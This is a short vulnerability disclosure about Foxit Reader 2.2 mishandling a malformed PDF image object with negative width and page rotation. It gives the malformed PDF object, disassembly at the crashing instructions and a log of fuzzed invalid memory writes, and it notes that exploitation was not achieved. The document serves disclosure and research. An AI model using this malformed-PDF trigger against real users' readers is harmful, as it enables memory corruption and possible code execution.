Foxit Reader 2.2 vulnerability opening malformed pdf:

Autor: Javier Vicente Vallejo
Web: www.vallejo.cc

Abstract

Foxit Reader 2.2 is prone to a vulnerability when a malformed pdf is parsed.

Affcted versions

Tested with Foxit Reader 2.2, Windows XP Media Center Sp2.

Analysis

The vulnerability occurs when a page with a malformed /XObject resource is rotated (it works if we add the /Rotate field to the page too).

```
4 0 obj
<< /Type /Page
/Parent 3 0 R
/Rotate 170
/Contents [ 25 0 R ]
/Resources <<
/ProcSet [ /PDF /Text /ImageB /ImageC ]
/XObject <</Im23 23 0 R>>/Font << /TT3 33 0 R  >>>>
>>
endobj

23 0 obj
<</Length 11643/Filter/DCTDecode/Width -28986631481/Height 5/BitsPerComponent
8/ColorSpace/DeviceRGB/Type/#6eject/Name/
#4825#6#25n#00°#6e#6en#25n#72ÂƒÉ#25n™#r3/Subtype/Image>>
stream
.....................
endstream
endobj
```

By modifying the values of width and height fields, Foxit performs invalid write memory access to different memory addresses:

For example,

At EIP=51b896, width=-28986631481, height=5:

```
0051B88F   8B4C24 20      MOV ECX,DWORD PTR SS:[ESP+20]
0051B893   83C4 04        ADD ESP,4
0051B896   89443E 08      MOV DWORD PTR DS:[ESI+EDI+8],EAX (eax=0x0,esi=0x10c7fd8,edi=0x26f0020)
0051B89A   8B4424 10      MOV EAX,DWORD PTR SS:[ESP+10]
0051B89E   43             INC EBX
0051B89F   83C1 04        ADD ECX,4
```

At EIP=0x51b799, witdth=-87146603762, height=5:

```
0051B799  8937          MOV DWORD PTR DS:[EDI],ESI
0051B79B  7E 08         JLE SHORT FOXITR~1.0051B7A5
0051B79D  8977 04       MOV DWORD PTR DS:[EDI+4],ESI
0051B7A0  E9 1C010000   JMP FOXITR~1.0051B8C1
0051B7A5  DB4424 14     FILD DWORD PTR SS:[ESP+14]
```

...
witdth=-87146603762 EIP=51b799 write->4994e93c eax=0 ecx=c1a4027f edx=f5a60633 ebx=12efd0 esp=12ef18 ebp=12ef74 esi=0 edi=4994e93c
witdth=-69826555658 EIP=51b799 write->a82df00 eax=0 ecx=c181027f edx=fdc5c868 ebx=12efd0 esp=12ef18 ebp=12ef74 esi=0 edi=a82df00
witdth=-56992150114 EIP=51b799 write->16a509d8 eax=0 ecx=c194027f edx=fac27dcc ebx=13efd0 esp=13ef18 ebp=13ef74 esi=0 edi=16a509d8
witdth=-65571130766 EIP=51b799 write->1419ad20 eax=0 ecx=c192027f edx=fb62d4f6 ebx=13efd0 esp=13ef18 ebp=13ef74 esi=0 edi=1419ad20
witdth=-28986631481 EIP=51b896 write->37b8000 eax=0 ecx=10c7fd8 edx=0 ebx=431ff6 esp=13ef18 ebp=13ef74 esi=10c7fd8 edi=26f0020
witdth=-87146603762 EIP=51b799 write->497cd994 eax=0 ecx=c1a4027f edx=f5ac0a15 ebx=13efd0 esp=13ef18 ebp=13ef74 esi=0 edi=497cd994
...

With paimei framework and a py script for randomizing the witdth, i have got multiple invalid read and write operations to completely different memory addresses.

I have not exploited the vulnerability yet, but it seems possible to exploit it.